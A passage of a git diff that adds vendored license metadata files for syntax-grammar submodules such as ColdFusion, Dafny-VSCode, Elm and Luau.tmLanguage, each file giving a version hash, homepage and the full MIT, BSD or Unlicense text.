+    Yakov Manshin
+    Yang Guo
+    Yash Singh
+    Yash-Singh1
+    Yassin N. Hassan
+    YNH Webdev
+    yoongu
+    yoyoyodog123
+    Yunchi Luo
+    Yuvi Panda
+    Yvonnick Esnault
+    Zac Anger
+    Zachary Dremann
+    ZeeshanNoor
+    Zeno Rocha
+    Zhang Hao
+    Ziran Sun
+    Ziv
+    zoobestik
+    zziuni
+    魏鹏刚
diff --git a/vendor/licenses/git_submodule/ColdFusion.dep.yml b/vendor/licenses/git_submodule/ColdFusion.dep.yml
new file mode 100644
index 0000000000..70310ea454
--- /dev/null
+++ b/vendor/licenses/git_submodule/ColdFusion.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: ColdFusion
+version: dbe2f76038fe77fe90b4cc4a0651aa817f14f1a3
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2012
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Cylc.tmbundle.dep.yml b/vendor/licenses/git_submodule/Cylc.tmbundle.dep.yml
new file mode 100644
index 0000000000..06fc9600a2
--- /dev/null
+++ b/vendor/licenses/git_submodule/Cylc.tmbundle.dep.yml
@@ -0,0 +1,39 @@
+---
+name: Cylc.tmbundle
+version: 903c7804e3a863a3a73ba05dbd35fdc01483dc82
+type: git_submodule
+homepage: https://github.com/cylc/Cylc.tmbundle.git
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |+
+    BSD 3-Clause License
+
+    Copyright (c) NIWA & British Crown (Met Office) & Contributors.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this
+       list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright notice,
+       this list of conditions and the following disclaimer in the documentation
+       and/or other materials provided with the distribution.
+
+    3. Neither the name of the copyright holder nor the names of its
+       contributors may be used to endorse or promote products derived from
+       this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+notices: []
diff --git a/vendor/licenses/git_submodule/Dafny-VSCode.dep.yml b/vendor/licenses/git_submodule/Dafny-VSCode.dep.yml
new file mode 100644
index 0000000000..cb1461b0c9
--- /dev/null
+++ b/vendor/licenses/git_submodule/Dafny-VSCode.dep.yml
@@ -0,0 +1,24 @@
+---
+name: Dafny-VSCode
+version: 55044e501fe916d87fa6504c2dec6ac6012aaddf
+type: git_submodule
+homepage: https://github.com/DafnyVSCode/Dafny-VSCode
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+    Copyright (c) 2016 Jonathan Rosca
+    Copyright (c) 2017 Markus Schaden, Rafael Krucker
+    Copyright (c) 2018 Institute for Software - University of Applied Science (HSR) Rapperswil
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+- sources: README.md
+  text: |-
+    Dafny VSCode is released under the [MIT License](https://github.com/DafnyVSCode/Dafny-VSCode/blob/develop/LICENSE).
+    Note that by submitting a Pull Request, you agree to release your changes under this license.
+notices: []
diff --git a/vendor/licenses/git_submodule/Docker.tmbundle.dep.yml b/vendor/licenses/git_submodule/Docker.tmbundle.dep.yml
new file mode 100644
index 0000000000..e3b6b6f75f
--- /dev/null
+++ b/vendor/licenses/git_submodule/Docker.tmbundle.dep.yml
@@ -0,0 +1,46 @@
+---
+name: Docker.tmbundle
+version: c001fb280561d7c16f0f2837d76af493cf6c3bf8
+type: git_submodule
+homepage: https://github.com/asbjornenge/Docker.tmbundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright 2014 Asbjorn Enge
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.md
+  text: "Copyright 2014 Asbjorn Enge\n\n\tPermission is hereby granted, free of charge,
+    to any person obtaining a copy\n\tof this software and associated documentation
+    files (the \"Software\"), to deal\n\tin the Software without restriction, including
+    without limitation the rights\n\tto use, copy, modify, merge, publish, distribute,
+    sublicense, and/or sell\n\tcopies of the Software, and to permit persons to whom
+    the Software is\n\tfurnished to do so, subject to the following conditions:\n\n\tThe
+    above copyright notice and this permission notice shall be included in\n\tall
+    copies or substantial portions of the Software.\n\n\tTHE SOFTWARE IS PROVIDED
+    \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\tIMPLIED, INCLUDING BUT
+    NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\tFITNESS FOR A PARTICULAR
+    PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\tAUTHORS OR COPYRIGHT HOLDERS
+    BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\tLIABILITY, WHETHER IN AN ACTION OF
+    CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\tOUT OF OR IN CONNECTION WITH THE
+    SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\tTHE SOFTWARE."
+notices: []
diff --git a/vendor/licenses/git_submodule/Elm.dep.yml b/vendor/licenses/git_submodule/Elm.dep.yml
new file mode 100644
index 0000000000..a69d624d9a
--- /dev/null
+++ b/vendor/licenses/git_submodule/Elm.dep.yml
@@ -0,0 +1,30 @@
+---
+name: Elm
+version: 80809a07ecfd7682f96e0ea775fdf30bce68e6fb
+type: git_submodule
+homepage: https://github.com/elm-community/Elm.tmLanguage
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2013-2014 Alex Neslusan
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/FreeMarker.tmbundle.dep.yml b/vendor/licenses/git_submodule/FreeMarker.tmbundle.dep.yml
new file mode 100644
index 0000000000..3e83e5a453
--- /dev/null
+++ b/vendor/licenses/git_submodule/FreeMarker.tmbundle.dep.yml
@@ -0,0 +1,32 @@
+---
+type: git_submodule
+name: FreeMarker.tmbundle
+version: 7259485a01310af4bf63ba4ff37cbba3724ae77f
+license: mit
+licenses:
+- text: |-
+    Open Source Initiative OSI - The MIT License
+
+    http://www.opensource.org/licenses/mit-license.php
+
+    Copyright (c) 2011 Brian Cavalier
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/GeneroFgl.tmbundle.dep.yml b/vendor/licenses/git_submodule/GeneroFgl.tmbundle.dep.yml
new file mode 100644
index 0000000000..4f1f73c183
--- /dev/null
+++ b/vendor/licenses/git_submodule/GeneroFgl.tmbundle.dep.yml
@@ -0,0 +1,19 @@
+---
+name: GeneroFgl.tmbundle
+version: dedc0c5df4235a3c63969eb15a24c7d10f67b686
+type: git_submodule
+homepage: https://github.com/FourjsGenero/GeneroFgl.tmbundle.git
+license: unlicense
+licenses:
+- sources: LICENSE.txt
+  text: |-
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means.
+
+    In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <http://unlicense.org/>
+notices: []
diff --git a/vendor/licenses/git_submodule/Handlebars.dep.yml b/vendor/licenses/git_submodule/Handlebars.dep.yml
new file mode 100644
index 0000000000..e0fe690e4a
--- /dev/null
+++ b/vendor/licenses/git_submodule/Handlebars.dep.yml
@@ -0,0 +1,51 @@
+---
+name: Handlebars
+version: 9fb01fefe48532deb901926cd80774215b454ff9
+type: git_submodule
+homepage: https://github.com/daaain/Handlebars
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.md
+  text: |-
+    (The MIT License)
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    'Software'), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+    CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/IDL-Syntax.dep.yml b/vendor/licenses/git_submodule/IDL-Syntax.dep.yml
new file mode 100644
index 0000000000..a349bb9ca3
--- /dev/null
+++ b/vendor/licenses/git_submodule/IDL-Syntax.dep.yml
@@ -0,0 +1,31 @@
+---
+name: IDL-Syntax
+version: 0fc6b8f6f6696f612e70b56ff086b3eec4d39b7d
+type: git_submodule
+homepage: https://github.com/andik/IDL-Syntax
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2014 andik
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Isabelle.tmbundle.dep.yml b/vendor/licenses/git_submodule/Isabelle.tmbundle.dep.yml
new file mode 100644
index 0000000000..8f8ada80a0
--- /dev/null
+++ b/vendor/licenses/git_submodule/Isabelle.tmbundle.dep.yml
@@ -0,0 +1,39 @@
+---
+name: Isabelle.tmbundle
+version: 745c337a0432270474f50d12fad7ea4aa9e0b169
+type: git_submodule
+homepage: https://github.com/lsf37/Isabelle.tmbundle
+license: bsd-2-clause
+licenses:
+- sources: LICENSE.md
+  text: |+
+    Copyright (c) 2014 Gerwin Klein and contributors.
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions
+    are met:
+
+    1. Redistributions of source code must retain the above copyright
+       notice, this list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright
+       notice, this list of conditions and the following disclaimer in the
+       documentation and/or other materials provided with the distribution.
+
+    THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+    ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+    OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+    LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+    OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+    SUCH DAMAGE.
+
+- sources: README.md
+  text: The bundle is released under a BSD-style license. See [`LICENSE.md`](LICENSE.md)
+notices: []
+...
diff --git a/vendor/licenses/git_submodule/JSyntax.dep.yml b/vendor/licenses/git_submodule/JSyntax.dep.yml
new file mode 100644
index 0000000000..1709cafdb8
--- /dev/null
+++ b/vendor/licenses/git_submodule/JSyntax.dep.yml
@@ -0,0 +1,33 @@
+---
+name: JSyntax
+version: b20c93c2e8a8704934d991120e75a32cb53e9cb4
+type: git_submodule
+homepage: https://github.com/tikkanz/JSyntax
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Brendan Curran-Johnson
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: Provided under an MIT License
+notices: []
diff --git a/vendor/licenses/git_submodule/LOLCODE-grammar-vscode.dep.yml b/vendor/licenses/git_submodule/LOLCODE-grammar-vscode.dep.yml
new file mode 100644
index 0000000000..c49bda608e
--- /dev/null
+++ b/vendor/licenses/git_submodule/LOLCODE-grammar-vscode.dep.yml
@@ -0,0 +1,31 @@
+---
+name: LOLCODE-grammar-vscode
+version: 2091c60ebe0b20e169853e5a0385b4bfb54c86f0
+type: git_submodule
+homepage: https://github.com/KrazIvan/LOLCODE-grammar-vscode.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |-
+    MIT License
+
+    Copyright (c) 2023 Ivan Shabalin
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Ligo-grammar.dep.yml b/vendor/licenses/git_submodule/Ligo-grammar.dep.yml
new file mode 100644
index 0000000000..68b5e595d6
--- /dev/null
+++ b/vendor/licenses/git_submodule/Ligo-grammar.dep.yml
@@ -0,0 +1,31 @@
+---
+name: Ligo-grammar
+version: 73ffbf6f2b63b861d9f5165c5a64e8d4eee06ea1
+type: git_submodule
+homepage: https://github.com/pewulfman/Ligo-grammar.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2022 Pierre-Emmanuel Wulfman
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/LiveScript.tmbundle.dep.yml b/vendor/licenses/git_submodule/LiveScript.tmbundle.dep.yml
new file mode 100644
index 0000000000..6fb8c45869
--- /dev/null
+++ b/vendor/licenses/git_submodule/LiveScript.tmbundle.dep.yml
@@ -0,0 +1,56 @@
+---
+name: LiveScript.tmbundle
+version: d82aeb737d4883d1a74aba7a07053f90211d427b
+type: git_submodule
+homepage: https://github.com/paulmillr/LiveScript.tmbundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2012 Paul Miller (http://paulmillr.com/), Jeremy Ashkenas
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.md
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2012 Paul Miller (http://paulmillr.com/)
+
+    Copyright (c) 2012 Jeremy Ashkenas
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the “Software”), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Luau.tmLanguage.dep.yml b/vendor/licenses/git_submodule/Luau.tmLanguage.dep.yml
new file mode 100644
index 0000000000..f948b4eb10
--- /dev/null
+++ b/vendor/licenses/git_submodule/Luau.tmLanguage.dep.yml
@@ -0,0 +1,57 @@
+---
+name: Luau.tmLanguage
+version: 5febad569516f7a3a587b59389fc2cdc40bff972
+type: git_submodule
+homepage: https://github.com/JohnnyMorganz/Luau.tmLanguage.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) JohnnyMorganz
+    All rights reserved.
+
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+
+    ===
+
+    Copyright (c) Microsoft Corporation
